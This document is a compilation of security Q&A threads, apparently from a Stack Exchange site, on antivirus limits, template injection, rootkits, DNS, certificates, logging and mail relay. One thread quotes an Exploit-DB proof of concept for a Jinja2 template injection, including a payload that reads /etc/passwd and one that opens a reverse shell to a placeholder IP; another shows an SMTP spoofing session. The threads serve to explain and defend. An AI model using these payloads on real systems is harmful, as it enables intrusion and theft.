"Harmless" script which downloads malicious script What if I code a program without malicious code which would pass in every antivirus scan and after the virus scan and user giving special rights to it, it downloads and executes the real virus? Since the first step was successful to get admin rights, the next steps are easy, sure?

You can always come up with ways to bypass real-world virus scanners. Scanners look for data present in known viruses. They can't look for exact matches in executable files. That would mean virus programmers could evade detection by changing one byte of the file without having an impact on the behavior of their executables.

Virus scanners instead look for patterns. Peculiarities found in samples of a virus are selected to attempt to sort of fuzzy-match executables with samples of known malware. There is an inevitable false-negative/false-positive trade off in this selection process.

There is no way any scanner can catch 100% of all malware. There are more forms that malware can take than there are forms virus scanner can look for. There is also no way to programmatically determine with certainty whether a program is harmless or not for all possible executable files. An anti-virus cannot mindread, so it doesn't know the difference between a program that only does what the user wants it to do and a file that does something that the user doesn't want it to do.

(That's ignoring the fact that it's not possible to tell what some programs will do without executing them. See "halting problem".)

We have never been able to rely on virus scanners. There have always been false positives and false negatives. Traditional virus scanners can also only detect viruses that the world has already seen. If it's a new type of virus, then a scanner won't be able to detect it until after people have been victimized.

More advanced anti-malware systems might profile the behavior of programs and terminate a process if it appears suspicious. This might capture some additional previously-unseen malware, but the problems of false positives/negatives and inability to distinguish malicious behavior from benign behavior still puts serious limitations on anti-virus systems.

A virus scanner then may try to look for the kind of behavior you describe. It's possible (with a performance penalty) to look for the presence of an interpreter or for downloaded scripts in network packets. However, interpreters of different varieties are common in benign programs. The downloaded script could also be encrypted, obfuscated, or hidden in legitimate traffic using steganography. So even if a virus scanner tries to detect this kind of behavior, it would be virtually impossible to detect all malware.

Any kind of anti-malware is probably a lot, lot, lot less effective than the average person believes them to be.

Now for the really scary part. It's not required for a malicious person to trick you into running a seemingly "harmless" executable before delivering malware in a second download. Often they can use a benign (but harmful, because they have exploitable bugs) program which users typically already have installed on their computer.

Software that downloads and runs programs with admin privileges is ubiquitous. It's called "auto-update".

Real world auto-update mechanisms are frequently implemented in such a way that attackers are free to run whatever code they want if they can spoof the update server.

A malicious update file can be substituted for a benign one. An easy way to do that would be to wait for the domain of the update server of unmaintained software to expire and take control of that domain.

That's not strictly necessary, though. A man-in-the-middle attack is also an easy task if update packages are not authenticated or if there is any mistake in the authentication checking code. (Both of which are too common.)

Crucially, to prevent this kind of attack, a digital signature system should be employed with public key pinning in any auto-update mechanism.

(And that's, obviously, only good as long as the private key is never revealed to untrusted parties, trusted parties don't turn untrustworthy [I read that this happens often with Chrome browser addons, for example], the code is implemented flawlessly, and the original download of an application is legitimate.)


Malicious Django template authors Django templates have access to a large number of builtin template tags and filters. I'm wondering what the security implications are of accepting contributions from template authors without reviewing them.

In what ways could a malicious template author attack a Django web application?

Here's a way to exploit web applications that accept user-supplied values in Jinja2 templates (also available in Django). Source: https://www.exploit-db.com/exploits/46386
# Exploit Title: Jinja2 Command injection from_string function
# Date: [date]
# Exploit Author: JameelNabbo
# Website: Ordina.nl
# Vendor Homepage: http://jinja.pocoo.org
# Software Link: https://pypi.org/project/Jinja2/#files
# Version: 2.10
# Tested on: Kali Linux
# CVE-2019-8341

// from_string function is prone to SSTI where it takes the "source" parameter as a template object and render it and then return it.

//here's an example about the vulnerable code that uses from_string function in order to handle a variable in GET called 'username' and returns Hello {username}:
'''

import Flask
import request
import Jinja2

@app.route("/")
def index():
            username = request.values.get('username')
            return Jinja2.from_string('Hello ' + username).render()

if __name__ == "__main__":
            app.run(host='127.0.0.1' , port=4444)

'''
POC
//Exploiting the username param
http://localhost:4444/?username={{4*4}}
OUTPUT: Hello 16

Reading the /etc/passwd

http://localhost:4444/?username={{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

Getting a reverse shell
http://localhost:4444/?username={{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }}

How to prevent it:
Never let the user provide template content.


SP 800-56B compliance in OpenSSL We are working to make a product Common Criteria Compliance for one of our customers. The Client part of the product uses OpenSSL for TLS communication, which implies that we need to fulfill the requirement for FCS_CKM.2 Cryptographic Key Establishment.

Since we have restricted the Cipher suites to RSA based only, the requirement for us is that RSA-based key establishment should fulfill NIST Special Publication SP 800-56B which is currently not claimed by OpenSSL. I would like to know what could be a NIAP acceptable resolution for this.

OpenSSL tls1.2

Short answer: You need to find a different approach to meeting FCS_CKM.2 requirement.

Long answer: Until next revision of SP800-56B finalized, RFC-conforming TLS is not directly compatible with SP 800-56B. The issue is establishing a common shared secret. In SP 800-56B it is defined differently from how RFC-implementing TLS operates. NIST realized this, conceded that nobody uses their method with TLS, and allowed in SP 800-56B rev.1 "application-specific" use of SP 800-135 KDF that is compatible with how TLS operates.


Writing payload into android device listening for adb debug messages On msfconsole, if I type info exploit/android/adb/adb_server_exec I got on description part the following:

  Writes and spawns a native payload on an android device that is
    listening for adb debug messages.

What does this "listening for adb debug messages" means exactly? I don't know much about android developing but does this implies that the target device must be with "developer mode" activated or something? Please explain to me what does this phrase means.

Yes. Debug mode or USB debug, depending on OS version.


Which Linux kernel vulnerabilities allow installing a kernel-level rootkit? My question is related to vulnerabilities that allow installing a Linux kernel-level rootkit (for example, to modify the execution flow inside the kernel; for return-oriented attacks; or to modify some structures in order to hide certain processes).
In the following site, I found a nice classification of the publicly-known Linux kernel vulnerabilities until now:
http://www.cvedetails.com/product/6861/Linux-Kernel.html?vendor_id=33
I was a bit surprised when I noticed that there were no (publicly known) vulnerabilities for code execution in 2011.
Does it mean that the rest of the vulnerabilities in that table (e.g., DoS, memory corruption, overflow) cannot be exploited for executing a kernel-level rootkit?
I have an ARM-based Android embedded system. The Linux kernel has this functionality disabled: "dynamic kernel modules", "/dev/kmem", "/dev/mem/", "ksplice". Also the system has a Secure BOOT process in place (e.g., the Linux kernel cannot access any boot files and this is enforced by hardware). Therefore, the only way I know to install a kernel-level rootkit (apart from hardware attacks) is by exploiting a bug in the kernel*.

Vulnerabilities in the kernel itself, whilst serious, are only part of the story for every day users.

The issue for "normal", "out of the box" installs are in fact vulnerabilities in processes running as root. Since these are trusted they can ask the kernel to do whatever they like - including inserting kernel modules or accessing /dev/kmem.

It is important to understand that, CPU-wise, root processes run as unprivileged processes as far as the CPU is concerned. On x86 we call this ring 3; on ARM processors the CPU modes are User, FIQ, IRQ,
Supervisor, Abort and Undef, where User is the unprivileged level used for processes (all the other modes are in fact privileged ones). Executing processes in User mode cannot modify other processes or the kernel directly; they must ask the kernel first. However, as they are trusted, the kernel does not "say no". So for an ordinary setup, it is enough to compromise a process running as root.

Now, in your setup things are a little different - you've disabled module loading and access to /dev/kmem. To do any serious damage, you need to get your rootkit to execute in supervisor mode (ring 0/any modes that are not User) or be able to manipulate /dev/kmem. Since you cannot modify the boot entries either, this leaves the hardware level as the major threat vector (or ksplice. You mention that on SO; it is most definitely a risk because you allow patching a running kernel with code! kexec is another potential problem because you replace the kernel in place).

So in theory, what you have is significantly more secure.

  Does it mean that the rest of vulnerabilities in that table (e.g., DoS, memory corruption, overflow) cannot be exploited for executing a kernel-level rootkit?

Well, to deal with the last bit first - you don't need to be able to exploit a vulnerability on a "normal" system because you can just insert a kernel module. However, in your case this is practically your only avenue; you would need to find a bug somewhere in the system that either lets you load code or otherwise can be exploited to control the kernel.

Now, on your zero bugs observation - as you say, there are zero known bugs in that time frame. That does not mean there are not bugs. Also, we should caveat this with:

Is this your distribution's kernel? Does it have patches not present in the vanilla kernel? These patches also add risk.
Does your kernel require extra third party code (graphics card drivers, virtualisation drivers)? If so, these also add risk.

Now, about those CVEs - yes, when they say no "code execution" that's what it means. The vulnerabilities present can corrupt memory and perform DoS but cannot actually run malicious code. Take a look at one of the code execution vulnerabilities:

  ...allow remote attackers to cause a denial of service (panic) or possibly execute arbitrary code...

So yes, as it stands there are no known code-execution vulnerabilities in the kernel at the time of writing Update in light of this answer I'm crossing that bit through - it's not clear from the site which entry represents the vanilla kernel and which represent vendor supplied kernels, or indeed what the difference is. Let me caveat that with in whatever definition of the kernel that was there were zero vulnerabilities, which is what I was trying to get at before with talk of vendor supplied patches/third-party code.


Does deliberately wrong information from a DNS server violate standards generally accepted good practices? For certain host names my DNS gives me a wrong ip address (the ip address of a transparent proxy) for which inverse DNS look up does not give me back the host I originally looked up.

This is related to but not the same as Forward-confirmed reverse DNS and DNS Hijacking.

I would like to know if this violates any DNS standards or ISP practices.

Laws are a local thing, so what's legal here might not be legal somewhere else, but as a rule this sort of thing isn't directly legislated on. A court might extend some previously-existing law to cover this type of thing, but I haven't heard of that anywhere yet.

Does it break the standard? Yes and no. If I ask a server for the current time and it instead gives me back the current open market price for bananas formatted as a time -- well, the time is wrong but the formatting isn't. It does  look like the time, after all. The standards around DNS cover protocols and formatting; the answer you give to a query reflects your opinion as to what the correct answer is, and that bit isn't in the spec. You and I might disagree on the correct address, but the fact that you successfully retrieved my answer means that I followed the standard at the very least.

It's not uncommon for ISPs to redirect NX domains to their own "site finder" search engine pages, though this practice is widely frowned upon and openly scorned by people who like to defend the Internet and stuff like that, but it still happens and doesn't appear to draw legal action.

On the the other hand, if you get a false response for domains that truly do exist, this might be called a "man in the middle attack", and could start drifting into the darker shades of grey on the legality color chart. And it certainly smells malicious. Best to ditch your ISP's DNS server post-haste. There's dozens of handy publicly-usable DNS servers out there: 8.8.8.8 is run by Google, 4.2.2.2 and 4.2.2.1 are run by Level 3 I think and are generally very fast.

But test and verify. There are some networks that intercept DNS traffic and redirect it to their own DNS servers no matter where you attempt to send it. There's Sprint's 3G network that does this, for example (last time I checked, at least, they may have reformed but probably not).


Why refresh token if I can reauthenticate? So I have a backend service (batch service, no user access), everytime I make a request I need to call the token endpoint and send my username/password in the header then it returns an access token and a refresh token.

Then I make my request to /myapi and pass the access token
Authentication: bearer {secret}

After a short time the access token expires.

So when I need to get a new access token, why do I bother using the refresh token if I can reauthenticate again using my username/password?

It's a matter of user experience since tokens are usually stored (in the browser's local storage for example). When a user goes back to a site, their browser can fetch that token (locally) and ask for a refresh.

That way they don't need to re-authenticate unnecessarily (provided that the token has an expiration).


Does the password manager store the passwords in memory if I lock my computer? After I unlock my PC the password manager (any type) needs the password again to unlock it's DB containing passwords.

Question: Does the password manager store the passwords/DB in memory when the PC is locked? Or it wipes it from memory?

Regarding https://en.wikipedia.org/wiki/Cold_boot_attack

For as long as it is in "unlocked" state, a password manager will need to keep in memory "something" that will grant it access to the secret data.

Depending on the architecture of the password manager, it can be a number of different things:

Pure client-side software could keep the whole database (unencrypted) in memory. This is acceptable from a security point of view because the security model of these software is that it will not attempt (too much) to protect against root-level compromise of the computer where they run.
Another method for client-side apps is to keep the decryption key in memory and decrypt the relevant data as needed. This is usefull if the secret part of the DB is large: only decrypting the information when needed helps cleaning it up afterward and ensuring it doesn't end up in the swap file (if applicable).
An additional approach is to keep the data in memory but encrypted with a session key and decrypted when accessed. This allow for a quick way to "clean" the memory when locking the system (just remove the session key)
Distributed apps can keep an access token in memory instead. That access token is then used to retrieve the relevant data from the server. Typically, a second key, which must be kept in memory, is then used for decrypting the result.

In addition, password manager apps can remove all encrypted information from memory under some condition. These conditions can (and usually do as an option) be triggered when you lock your workstation.

In the end, the actual answer depend on what software you use and how you configure it.


Access control on a primarily windows LAN This question is a bit broad, but I'm hoping someone can point me in the right direction. I administer a small LAN at work with 15-20 machines on it. They are running Windows XP - Windows 8 and I have a Linux based NAS for backups attached as well.

In the past, every user was highly trusted and my main concern was making sure files were easily accessible. I did things like grant "Everyone" full permissions on the root of each drive. Now, we are bringing on some semi-trusted personnel that I don't want to have access to "everything" on every computer in the network. So the questions are:

How can I effectively restrict access to certain areas?
How can I allow the trusted users to still easily access restricted content?
How can I secure the Linux backup?
How can I protect the network against disgruntled employees who may still have access?

I've tried some Googling, but I'm finding information mostly about protecting against external threats. Any pointers are greatly appreciated. Thanks.

Update:
My first step has been to remove the "Everone" group from the NTFS permissions for sensitive files. This effectively protects them from access, but it is also a pain. I would like to be able to authenticate (via a password maybe) to gain access if needed. I've come across Windows Active Directory which might be what I'm looking for, but it looks like a beast to try to learn and implement. Am I barking up the wrong tree here?

AD is the ultimate place to go, so don't overlook it, but it may be overkill for your environment.

Quick and dirty response:

Look at classifying your data, assigning owners of the data (Data Owners), and assign permissions to assets (files, devices, etc.) based on roles (Finance, Finance Managers, IT, IT Managers, Sales, Sales Managers, etc.). Who maintains the list of users who belong to each group as the people change is up to your specific organization (central authority or each Data Owner).

As for disgruntled employees who are no longer with the company, make sure that you revoke access ASAP. If they are still with the company, then you need to have good backups...

Backup devices should be encrypted with the key properly secured. Store backup media offsite and have a process by which you validate backups (regular test restores) and that you destroy data that is no longer needed. (Data owners define when data needs to be destroyed or retained).


TrueCrypt, Master password possible? I recently was talking with somebody, and they said something along the lines of TrueCrypt having a "master key" password that certain authorities have.

Now, from what I know about how TrueCrypt works, isn't that impossible?

Or is it possible/plausible?

A backdoor could possibly exist, an easy way to achieve this would be to encrypt the passphrase with a public key and store it somewhere with the data portion on the hard disk, so the passphrase could be recovered with the matching private key.

However, TrueCrypt is open source can be peer reviewed:

From the TrueCrypt FAQ

  I forgot my password – is there any way ('backdoor') to recover the files from my TrueCrypt volume?

  We have not implemented any 'backdoor' in TrueCrypt (and will never
  implement any even if asked to do so by a government agency), because
  it would defeat the purpose of the software. TrueCrypt does not allow
  decryption of data without knowing the correct password or key. We
  cannot recover your data because we do not know and cannot determine
  the password you chose or the key you generated using TrueCrypt. The
  only way to recover your files is to try to "crack" the password or
  the key, but it could take thousands or millions of years (depending
  on the length and quality of the password or keyfiles, on the
  software/hardware performance, algorithms, and other factors). If you
  find this hard to believe, consider the fact that even the FBI was not
  able to decrypt a TrueCrypt volume after a year of trying.

And this:

  Why is TrueCrypt open-source? What are the advantages?

  As the source code for TrueCrypt is publicly available, independent
  researchers can verify that the source code does not contain any
  security flaw or secret 'backdoor'. If the source code were not
  available, reviewers would need to reverse-engineer the executable
  files. However, analyzing and understanding such reverse-engineered
  code is so difficult that it is practically impossible to do
  (especially when the code is as large as the TrueCrypt code).

  Remark: A similar problem also affects cryptographic hardware (for
  example, a self-encrypting storage device). It is very difficult to
  reverse-engineer it to verify that it does not contain any security
  flaw or secret 'backdoor'.

I've also found an interesting discussion on TrueCrypt being just a big Honeypot: https://groups.google.com/d/topic/alt.computer.security/LlbvEfGlnwE/discussion


Is it normal that my new VISA debit card has almost the same number as the old one? Is it secure? My bank issued me a new debit card (VISA Electron) because the old one expired and to my surprise, the card number is almost the same as on my old card. I don't think there would be much chance that this is a coincidence so is it a common practice that card companies somehow reserve numbers for their clients and then use them? (My old card has been issued in 2008, my new card in 2011.)

Is it secure to use a very similar card number?

Almost the same -> they are different.

And there is some procedure on how those number are generated: the issuer has some code, the bank usually have some code, etc. You can take a look at this site.

If you ask two credit cards from the same issuer, same bank, you'll see that there are lots of numbers in common.

And even some cards have the same number, reissued, when they expire. So, you have received the same number again.


How to ensure integrity of program execution on foreign(someone else's) computer? I want to run my computer program(or code) on someone else's computer(with permission from the owner of the computer) and get the results back. How can I make sure the owner is running my program only, for the computation of results? Does something like Intel Secure Enclave can help me achieve this?

A priori, you can't.
There are several approaches you can take:

You just trust that the answer is right. Maybe you have no reason to doubt on the honesty of that remote computer. It's certainly easier.
You verify the result. Some computations require a lot of work (like, finding string which produces certain hash), but once you are provided a solution, it is cheap to verify that it is a solution to the problem (or if not exactly cheap, much cheaper than the original computation).
You can distribute the same work to multiple nodes, then verify they reach to the same solution. This "wastes" computing power in exchange of that extra trust on the results.
You distribute to several nodes a portion of the work. Thus doing a probabilistic audit of their results.
You trust the node results, but attribute the results to them so they can be blamed for errors

Please note:

Errors may be completely unintentional
Errors may be completely malicious, with an active effort to bypass whatever checks you may set
Your own computer may be the one in the wrong

A scenario where a host has faulty memory and provides bad results once in X blocks would be quite different than differences between two nodes due to hardware precision not being the same, and than people actively compromising the program execution to bypass a game license check.
In some cases maybe you could design the process in a way that allows such checks, Like having the remote computer process the data blinded with homomorphic encrption, in a way that it also produces a checksum that the controller may use for a quick check of the results.
could you use the Secure Enclave? Maybe. Signal conceived a way to show in a provable way the code they were using. It still needs to be able to run what you need (it's harder to program, and you have more limitations). Plus, it has the underlying assumption the Enclave itself isn't compromised (multiple vulnerabilities have been found).


Is it possible for a self-extracting file to run malware on Linux? I know that you need to change permissions for a file to run as a script on Linux. Is that enough to prevent any malware from being installed by some self-extracting file? Is there anything that can be done to increase the security on a Linux machine?
Also, can a self-extracting file be of any file format (other than archive formats)? Recently I came across this extension which can save a webpage as a self-extracting HTML file. And aren't formats like EPUB and CBR just archive formats with a specific structure? Can malware be hidden in these file formats as well?

welcome to this SE site.
First of all, you may have a file with the most malicious content, stored on any OS, making no harm. The activation of the malicious behavior (from now on, 'infection') would require it to be executed, either directly or indirectly.
The eXecute permission unix systems (including Linux) mark whether a file can be run or not. As you would need to set it as executable, it may prevent some cases where you could inadvertently run a file you didn't intend to. Note however it doesn't completely prevent them from being run. This is specially the case for interpreted languages, where not having the execute bit would for instance not let you run ./script.sh but you could run them as bash script.sh, and similarly with python, perl, etc. (you could as well run ELF binaries that way using ldd, but not on recent versions)
(NTFS also has an execute permission, although it is rarely used)
A direct execution would involve the user running the program (maybe thinking it was doing something else, like opening a pdf invoice). An indirect execution would involve code being run by another program. For example, a vulnerability on the pdf viewer could make it run malicious code when the user opens a specially-crafted malicious pdf. There the execution permission of the file itself won't matter, since it's the actual pdf viewer the one which ran the code.
Moreover, this could even lead to execution of files that the user didn't interact with, such as the exploit happening automatically when opening the folder, as it was parsed by a vulnerable reader to produce a preview/thumbnail. Or an entivirus   that would ran a virus when trying to scan it.

Is that enough to prevent any malware from being installed by some self-extracting file?

No. The best prevention would be not to run such executable at all. Not even if it's "just" a self-extracting file.

Is there anything that can be done to increase the security on a Linux machine?

You could enable SeLinux / AppArmor / run specially untrusted processes in a sandbox / virtual machine. And all the usual recommendations: Do not run untrusted programs or random instructions you found on the web, separate yourself form root account (obviously), keep the system and programs updated (Linux distributions makes this very easy), have working backups that would let you recover if anything bad might happen. Plus, acting cautiously and sensible goes a long way.
Additionally, you could further increase its security by unplugging it, locking in a safe, and storing buried 20 feet under the ground in a secret location (Dennis Huges), albeit you are probably unwilling to go that far.

Recently I came across this extension which can save a webpage as a self-extracting HTML file.

When talking about self-extracting files, they are usually about executable files. They don't need that the receiver has a program able to unpack them, since when run as a program, they are able to unextract themselves. The counterside, is that it requires running that program, as opposed to a local unpacker which would (hopefully) have been installed from a trusted source. (Note: it is usually possible to open self-extracting compressed files with the appropriate program, without having to run them)
In the case of that extension, opening those pages is safe. It works by creating a mixture of html page and zip file, that when opened, loads the contents with javascript. Since it runs inside tha browser, it's not more unsafe than opening a web page stored locally. (Note: installing the extension would still require the usual analysis of determining if that's one that could be harmful)

And aren't formats like EPUB and CBR just archive formats with a specific structure?

Yes, they are archive formats.

Can malware be hidden in these file formats as well?

Malware files could be hidden there. Or a love letter. Or instructions for a spy ring. The point is if that would be dangerous in some way. Most probably not. They would need to exploit a vulnerability in the EPUB/CBR reader, which is the one that would process that file. Otherwise malware stored there would be harmless.


logging requirements for PCI for web applications Does PCI dictate how much should be logged at an application level or simply what shouldn't be logged?

I'm struggling with too much logging right now and some people who think we should have it. From a debugging perspective I've found excessive logging almost useless in the past and am kind of agreeing with Jeff Atwood on exception only logging.

I'm currently using AspectJ for about 99% of the logging in the applications I support so it isn't a big deal either way except when reviewing the logs for these exceptions and also that they are starting to take up a decent amount of room.

You are expected to log:

All individual accesses to cardholder data
All actions taken by any individual with root or administrative privileges
Access to all audit trails
Invalid logical access attempts
Use of identification and authentication mechanisms
Initialization of the audit logs
Creation and deletion of system-level objects

These must be logged with a verifiable date & time (proper time sync enabled) in an immutable manner. You should, "Retain audit trail history for at least one year, with a minimum of three months immediately available for analysis (for example, online, archived, or restorable from back-up)."

You'll want to look at the whole document and understand all the sub-requirements that make up the big 12. https://www.pcisecuritystandards.org/documents/pci_dss_v2.pdf

To answer the Jeff Atwood theory, though, and maintain your own sanity, you should keep PCI DSS related logs separate from application activity logs. I would suggest that exceptions be copied into a separate log facility so that from a developer standpoint, logs are readable and sparse. From an auditor standpoint, your comprehensive logs can be, well, comprehensive and used to reconstruct activity.


Why is it dangerous to stay logged in as root for an extended period of time? I found the following general advice from WikiHow in an article on changing password:

  It is very dangerous to stay logged in as root for an extended period
  of time. Log out immediately after completing this process.

If I have to perform a number of administrative tasks requiring root access, is it safer to log in as a normal user and use sudo for every command instead of logging in as root to complete all the tasks in one shot?

How would prolonging the root access be a security risk in itself?

In fact is it not inherently dangerous to stay logged in as root; what is dangerous is leaving the room with a root shell open, because any casual attacker could then do quite some damage (he could do it nonetheless, because physical access is physical access, but with an open root shell it is much easier and faster).

sudo, on the other hand, as an inherent timeout: it will require that you enter your password again if you have not executed it for a few minutes. This feature is like the "automatic screensaver lock" for root command lines, that a root shell does not have. It is a protection against your own distraction.

Of course, the same attacker could use an open shell at your name to install a fake "sudo" command, which calls the real one but also sends him a copy of your password, so leaving open shells around is a bad idea anyway, root or not root. Also, some people add "NOPASSWD:" to their entry in /etc/sudoers (I have done so myself quite a few times). The ban on root shells has become a widespread dogma, that people parrot mindlessly without thinking about the why.


Sign a User certificate with CA.key :openssl I've a user certificate (certname.pem) and user key (keyname.pem) which I've generated using the command below.

openssl req -newkey rsa:2048 -nodes -keyout keyname.pem -x509 -days 365 -out certname.pem

Also I've generated a CA key (ca.key.pem) and CA root certificate (ca.root.pem) using the command below.

openssl req -x509 -days 557 -newkey rsa:1024 -out ca.root.pem -keyout ca.key.pem

Now I want to sign the user certificate (certname.pem) with the CA key (ca.key.pem) but I am unable to do so using the command below.

openssl ca -create_serial -config openssl.cnf -cert ca.root.pem -keyfile ca.key.pem -in certname.pem  -out new-certname.pem

as this command gives error:

Error reading certificate request in certname.pem
139992806578040:error:0906D06C:PEM routines:PEM_read_bio:no start line:pem_lib.c:708:Expecting: CERTIFICATE REQUEST

Where as the contents of my certname.pem are as follows:

-----BEGIN CERTIFICATE-----
MIIDozCCAougAwIBAgIJALv1sRsVLIRgMA0GCSqGSIb3DQEBCwUAMGgxCzAJBgNV
BAYTAmluMQ0wCwYDVQQIDARhc2RmMQ0wCwYDVQQHDARhc2RmMQwwCgYDVQQKDANs
a2oxDDAKBgNVBAsMA2xrajEMMAoGA1UEAwwDbGtqMREwDwYJKoZIhvcNAQkBFgJs
ajAeFw0xODA3MDcxNDU1MzNaFw0xOTA3MDcxNDU1MzNaMGgxCzAJBgNVBAYTAmlu
MQ0wCwYDVQQIDARhc2RmMQ0wCwYDVQQHDARhc2RmMQwwCgYDVQQKDANsa2oxDDAK
BgNVBAsMA2xrajEMMAoGA1UEAwwDbGtqMREwDwYJKoZIhvcNAQkBFgJsajCCASIw
DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJxh0L94MzQgjTodq4/Eha4HmX4c
PPsb7H5cUzk1b4N9tfGPoINZ68CY+HqTwXtBTtiwIvkvP/nKD5cp9PhpDB/AI4Zx
c83J72iBpMefn1KgWAUMBNnxnYkezK7SY3osotakBXAT+4tJI1BXL/TAV74VKe9a
7rXSEqCTxcj/H0kbW+2WR/N5yDXjJk68k1A4oQ4wSLiejC9ycqHkZluKZjJl8XNh
9QnEsTtZRiX59FbRa64A16Alv7tBSSTxyCFfQqPxSpgiORoU1vRQqWxD7IV5WXl7
fQLaxR07nmJKxYSK7fGRdcXLQBmkWA0V0pA3qreDAznSfElk3GNhtx0Erk0CAwEA
AaNQME4wHQYDVR0OBBYEFGDedvJ2pbkR2wFsu60fjDPocMFsMB8GA1UdIwQYMBaA
FGDedvJ2pbkR2wFsu60fjDPocMFsMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEL
BQADggEBAIIVz6Aiu1VwM71ecL7aNgyEuctAtfkiDfopKANtBA5yzLQZYlALSkjz
SIUD/vRkiT4C8ZOdfoWJkHxpk93uYH6xjDL8vsqthAA34FvDBMoecrOVNzJq5uBt
aJC4klj57uf1mPzW71yycS9IKFFGardqijjlHUyhgJVBs8kZbABT7ZedYA5UYdv+
SUNnzOU2Sm/ktPF5vWp8y4WjgujYnZQqj7pI4ucwYxb8WRW2EeeGpkbA6DuU7Tnv
frliIESdu9/UCQm7A5zxW47MKTBrVDfoRsbrbjFo9PiGCxG/7bglykFHovWVN2ez
uqLIdDOC2lNFBOJLPhf5w9s3fEGl8m8=
-----END CERTIFICATE-----

How to sign this certificate with the ca.key.pem?
Please help.

Reference for generating certificates - https://www.ibm.com/support/knowledgecenter/en/SSWHYP_4.0.0/com.ibm.apimgmt.cmc.doc/task_apionprem_gernerate_self_signed_openSSL.html

You included -x509 on your original request, which in this case instructed openssl to generate a self-signed certificate named certname.pem.  It is a certificate, but probably not the kind you want here.

I assume you instead want to use your newly minted CA to sign your public key and create a server certificate.  You'll need to first generate a Certificate Signing Request (CSR); since you have already generated the key (the one in keyname.pem) you can do this with:

openssl req -out keyname.csr -key keyname.pem -new

You can then pass this CSR to generate a certificate (as you tried):

openssl ca -create_serial -config openssl.cnf -cert ca.root.pem -keyfile ca.key.pem -in keyname.csr -out new-certname.pem


Linux - user can be in forbidden directory if su to it from user with access - is this concerning? I was in a directory on CentOS as user1 (root in this case) and then did su to user2 which cannot normally get to that directory due to lack of "execute" permission on a parent directory, but as user2 I was able to read what was in it just fine.  I don't think this poses a security risk since I had to start out as a user with access, but is there any implication I'm not thinking of that makes this a concern?

I wouldn't use the word “concerning”, but it is something you should be aware of. When you run a program with different privileges, you always need to be careful about the environment in which the differently-privileged program runs.

If the program runs with elevated privileges, it needs to be careful what environment it runs in — environment variables are a well-known risk (PATH, LD_PRELOAD, EDITOR, … to name a few among many).

If the program runs with reduced privileges, the environment needs to be careful what credentials the program receives. Credentials include users and group, but also opened file descriptors and similar things. The current directory counts as a similar thing. On this note, sudo closes all file descriptors except the standard ones (0, 1, 2), whereas (at least on Linux) su doesn't touch them.

Passing reduced-privileged processes such as a current directory or file descriptors can be useful. In your case, this allows a program to be executed as user2 and process files in that one specific directory, without allowing the program to access all the other directories that user1 can access but not user2. A classic example with file descriptors is to start a server process as root with a privileged TCP port open, and then drop privileges before executing the server application — that way the application can serve this specific privileged port but no other.

By the way, there's another way this situation (a process cannot change into its current directory) can arise: if the directory's permissions change after the process changed into that directory, that won't affect the process's current directory.

Whether this poses a security risk depends on the specific scenario. Before changing privileges, the current directory is one of the things that may need to be sanitized, like the environment, the file descriptors, etc.


After running a string through mysqli_real_escape_string, is it safe to remove the backslash before echoing it into a page? I'm using a rich text editor (Nicedit) with a cms project I'm making. In order to reduce the likelihood of SQL injections, I'm using the mysqli_real_escape_string function to escape the user input before putting it into the database.

However, I observed that all the single quotes will get an additional backslash attached to it when I echo it onto a page. For example, if the user input is "Let's have a meeting", it will become "Let\'s have a meeting".

I understand that the whole idea of escaping a string is to add a backslash to potentially problematic input. I'm just wondering if it's safe to remove the backslash in a string when echoing it back to the page?

$escaped_string = mysqli_real_escape_string($connection, $_POST['string']);

echo str_replace("\\", "", $escaped_string);

Thank you! This project is just part of my learning PHP and won't be used anywhere, so please don't get worked up!

You should never use anything "to reduce the likelihood of SQL injections" in the first place. It just doesn't work this way. You are not adding some code just in case, sort of a rabbit foot. SQL injections simply must be prevented, using certain tools. It is so easy to achieve that it just should go without saying. Just never add any variable to your SQL queries - that's all. Here is how. It doesn't only prevent injections but also relieves you from that escaping mess.

That said, no extra slashes should appear in the output unless there is an error in your code. Escaping is used for the query only, it is not stored in the database. So instead of removing extra slashes you must not add them in the first place.


Is it acceptable to enable relay of emails in an internal email server in a corporate network? I know that SMTP is inherently vulnerable to a lot of issues and if not properly configured, an SMTP server can be used to relay emails which originate from and destined to third-party domains.

What I understand from open mail relay is unauthenticated relay of emails. Correct me if I am wrong. Is there any good reason why unauthenticated relay should be allowed inside a corporate network?

Is it considered vulnerable if the following POC results in an email in my inbox?

telnet internalmailserver.mydomain.com 25
220 Ironportblabla.mydomain.com ESMTP
HELO
250 Ironportblabla.mydomain.com
MAIL FROM:test@gmail.com
250 sender <test@gmail.com> ok
RCPT TO:myemailaddress@mydomain.com
250 recipient <myemailaddress@mydomain.com> ok
DATA
354 go ahead
TEST
.
250 ok: Message 123456 accepted

The above method can be used by an internal adversary to spoof and send emails to any internal employee as anyone else. Isn't this vulnerable?
Is there any justified acceptable reason for allowing internal-internal and external-internal relay in internal mail servers?
Would stopping this affect the normal functioning of corporate email?

The above method can be used by an internal adversary to spoof and send emails to any internal employee as anyone else. Isn't this vulnerable?

Yes. There is a university of applied sciences in my neighborhood that had such a mail server that allowed any user to use any email address from their own domains. Someone abused it to send around personalized but automated love letters. It was hilarious. The IT department, instead of being in shame after having been pointed to that vulnerability multiple times, went after the person. It was hilarious.

  Is there any justified acceptable reason for allowing internal-internal and external-internal relay in internal mail servers?

You often have an outgoing mail server that your internal mail server contacts for all mails that it cannot deliver locally. These two are often running on the same machine, and it's acceptable to open the mail server port only locally to allow the internal, and only the internal mail server, to directly talk to the outgoing server. The internal server then has the duty of making sure only authorized users can send mail from addresses that belong to them.

  Would stopping this affect the normal functioning of corporate email?

No, because this isn't normal.


How to securely handle a login system I'm making a desktop application in C# and I want to know If I'm handling this (from security perspective) as should be or not.

My Users table have both hashed_password and salt, both are binary(32).

To create a new account:

The user type the login name, and the password
A salt is randomly generated (this happens in the client side).
The created salt will be used to hash the password (SHA256).

The login:

The user types his password
A select statement is made to the database to get the salt, hash the typed password using that salt and then compare to the database

My questions are:

Is it a bad practice to have your password salt as binary(32)?
Does it make sense to generate the salt in the application and then send it to the database? If not, why? (Only one user will have access to the creating accounts function, he'll create the accounts for everyone)
Whether the bold part above is a bad practice?

First, you shouldn't be hashing passwords with only a single SHA256 round.

